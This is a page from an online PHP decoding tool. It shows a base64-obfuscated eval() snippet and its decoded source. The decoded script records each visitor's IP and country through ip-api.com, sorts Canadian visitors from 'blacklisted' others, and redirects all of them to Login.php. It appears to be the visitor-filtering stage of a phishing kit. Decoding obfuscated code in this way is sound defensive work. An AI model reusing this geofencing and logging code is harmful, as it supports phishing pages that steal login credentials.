Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCg0KIyMgSE9VU1NBTSBBSUNIT1VOSSAgQEZVQ0sgT0ZGDQpzZXN..
Decoded Output download
?>b'<?php
## HOUSSAM AICHOUNI @FUCK OFF
session_start();
error_reporting(0);
date_default_timezone_set(\'GMT\');
$ip = getenv("REMOTE_ADDR");
$getdetails = "http://ip-api.com/json/$ip?fields=status,message,continent,continentCode,country,countryCode,region,regionName,city,district,zip,lat,lon,timezone,offset,currency,isp,org,as,asname,reverse,mobile,proxy,hosting,query";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $getdetails);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($curl);
curl_close($curl);
$details = json_decode($content);
$_SESSION[\'continent\'] = $continent = $details->continent;
$_SESSION[\'country\'] = $country = $details->country;
$_SESSION[\'countryCode\'] = $countryCode = $details->countryCode;
$_SESSION[\'proxy\'] = $proxy = $details->proxy;
$_SESSION[\'hosting\'] = $hosting = $details->hosting;
$continent = $_SESSION[\'continent\'];
$country = $_SESSION[\'country\'];
$countryCode = $_SESSION[\'countryCode\'];
$proxy = $_SESSION[\'proxy\'];
$hosting = $_SESSION[\'hosting\'];
if ($country == \'Canada\'){
$file = fopen("SA-IPS.txt","a");
fwrite($file,"|ip| ==>> $ip <@> |country| ==>> ".$_SESSION[\'country\']." Details
");
header( "refresh:1;url=Login.php" );
}else{
$file = fopen("OTHER IP.txt","a");
fwrite($file,"|ip| ==>> $ip <@> |country| ==>> ".$_SESSION[\'country\']." IP BLACKLIST
");
header( "refresh:1;url=Login.php" );
}
?>
'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCg0KIyMgSE9VU1NBTSBBSUNIT1VOSSAgQEZVQ0sgT0ZGDQpzZXN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GV0YWlscy0+Y291bnRyeUNvZGU7DQokX1NFU1NJT05bJ3Byb3h5J10gPSAkcHJveHkgICA9ICRkZXRhaWxzLT5wcm94eTsNCiRfU0VTU0lPTlsnaG9zdGluZyddID0gJGhvc3RpbmcgICA9ICRkZXRhaWxzLT5ob3N0aW5nOw0KDQoNCg0KCSRjb250aW5lbnQgPSAkX1NFU1NJT05bJ2NvbnRpbmVudCddOw0KICAgICRjb3VudHJ5ID0gJF9TRVNTSU9OWydjb3VudHJ5J107DQogICAgJGNvdW50cnlDb2RlID0gJF9TRVNTSU9OWydjb3VudHJ5Q29kZSddOw0KICAgICRwcm94eSA9ICRfU0VTU0lPTlsncHJveHknXTsNCiAgICAkaG9zdGluZyA9ICRfU0VTU0lPTlsnaG9zdGluZyddOw0KCQ0KDQppZiAoJGNvdW50cnkgPT0gJ0NhbmFkYScpew0KJGZpbGUgPSBmb3BlbigiU0EtSVBTLnR4dCIsImEiKTsNCmZ3cml0ZSgkZmlsZSwifGlwfCA9PT4+ICRpcCA8QD4gfGNvdW50cnl8ID09Pj4gIi4kX1NFU1NJT05bJ2NvdW50cnknXS4iIERldGFpbHMgXG4iKTsNCmhlYWRlciggInJlZnJlc2g6MTt1cmw9TG9naW4ucGhwIiApOw0KDQp9ZWxzZXsNCiRmaWxlID0gZm9wZW4oIk9USEVSIElQLnR4dCIsImEiKTsNCmZ3cml0ZSgkZmlsZSwifGlwfCA9PT4+ICRpcCA8QD4gfGNvdW50cnl8ID09Pj4gIi4kX1NFU1NJT05bJ2NvdW50cnknXS4iIElQIEJMQUNLTElTVCBcbiIpOw0KaGVhZGVyKCAicmVmcmVzaDoxO3VybD1Mb2dpbi5waHAiICk7DQp9DQo/Pg0K")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 21886273e88da8baa650a4cf695bb635 |
Eval Count | 1 |
Decode Time | 61 ms |